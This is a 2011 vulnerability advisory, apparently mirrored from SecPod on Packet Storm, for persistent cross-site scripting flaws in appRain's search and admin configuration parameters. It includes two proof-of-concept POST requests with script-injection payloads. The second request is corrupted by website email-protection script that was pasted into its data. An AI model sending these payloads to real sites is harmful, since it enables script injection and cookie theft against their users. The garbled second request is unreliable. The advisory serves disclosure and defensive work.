what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

appRain 0.1.3 / 0.1.4-Alpha Cross Site Scripting

appRain 0.1.3 / 0.1.4-Alpha Cross Site Scripting
Posted Jul 8, 2011
Authored by Antu Sanadi | Site secpod.com

appRain versions 0.1.3 and 0.1.4-Alpha for both the Quick Start and Core editions suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 52dd436444b837a85cbfd4a287fbb817919e848eaff7f9d393464836a3a9b5b2

appRain 0.1.3 / 0.1.4-Alpha Cross Site Scripting

Change Mirror Download
##############################################################################

Title : appRain Quick Start Edition Core Edition Multiple Persistence
Cross-Site Scripting Vulnerabilities.
Author : Antu Sanadi from SecPod Technologies (www.secpod.com)
Vendor : http://www.apprain.com/
Advisory : http://secpod.org/blog/?p=215
http://secpod.org/advisories/SECPOD_AppRain_Multiple_XSS.txt
Version : appRain 0.1.4-Alpha and appRain-d-0.1.3
Date : 08/07/2011

###############################################################################

SecPod ID: 1015 01/05/2011 Issue Discovered
04/05/2011 Vendor Notified
No Response from the Vendor
08/07/2011 Advisory Released


Class: Cross-Site Scripting (Persistence) Severity: Medium


Overview:
---------
appRain 0.1.4-Alpha(Quick Start Edition) and appRain-d-0.1.3 (Core Edition)
multiple Persistence Cross-Site Scripting vulnerabilities.


Technical Description:
----------------------
i) appRain 0.1.4-Alpha(Quick Start Edition) and appRain-d-0.1.3 (Core Edition) are
prone to multiple persistence cross-site scripting vulnerabilities as it fails
to properly sanitise user-supplied input.

Input passed via the 'ss' parameter in 'search' action is not properly verified
before it is returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in the context of a vulnerable
site. This may allow an attacker to steal cookie-based authentication
credentials and launch further attacks.


ii) Input passed via the 'data[sconfig][site_title]' parameter in '/admin/config/general'
action is not properly verified before it is returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser session
in the context of a vulnerable site. This may allow an authinticated attacker to
launch further attacks.

NOTE: Authentication is required to exploit this vulnerability.

The vulnerability has been tested in appRain 0.1.4-Alpha (Quick Start Edition),
appRain-q-0.1.3 (Quick Start Edition), appRain-q-0.1.1 (Quick Start Edition),
appRain-d-0.1.3 (Core Edition) and appRain-d-0.1.2 (Core Edition) ,Other versions
may also be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application.


Affected Software:
------------------
i) appRain 0.1.4-Alpha (Quick Start Edition) and prior.

ii)appRain-d-0.1.3 (Core Edition) and prior.
appRain 0.1.4-Alpha (Quick Start Edition) and prior.

Tested on,
ppRain 0.1.4-Alpha (Quick Start Edition),
appRain-q-0.1.3 (Quick Start Edition),
appRain-q-0.1.1 (Quick Start Edition),
appRain-d-0.1.3 (Core Edition) and
appRain-d-0.1.2 (Core Edition)


References:
-----------
http://www.apprain.com/
http://secpod.org/blog/?p=215
http://secpod.org/advisories/SECPOD_AppRain_Multiple_XSS.txt


Proof of Concept:
-----------------

POC 1:
-----
POST appRainq/search HTTP/1.1

Host: 192.168.1.17
User-Agent: appRain XSS test
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

Post Data:
----------
ss=</title><script>alert('SECPOD-XSS-TEST')</script>


POC 2:
-----
NOTE: Authentication is required to exploit this vulnerability.

POST appRainq/admin/config/general HTTP/1.1

Host: 192.168.1.17
User-Agent: appRain XSS test
Content-Type: application/x-www-form-urlencoded
Content-Length:359

Post Data:
----------
data[sconfig][site_title]=<script>alert('SECPOD-XSS-TEST')</script>&data[sconfig][admin_title]=Lipsum&data[sconfig][site_logo_1]=logo.gif&data[sconfig][site_logo_2]=apprain-logo-yellow.gif&data[sconfig][copy_right_text]=xyz&data[sconfig][admin_email]=a@b.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>&data[sconfig][support_email]=b@c.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>&data[sconfig][corporate_email]=d@e.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>&Button[button_save]=Save


Solution:
----------
Fix not available


Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = MEDIUM
AUTHENTICATION = REQUIRE
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = PARTIAL
AVAILABILITY_IMPACT = NONE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5.5 (MEDIUM) (AV:N/AC:M/Au:S/C:P/I:P/A:N)


Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close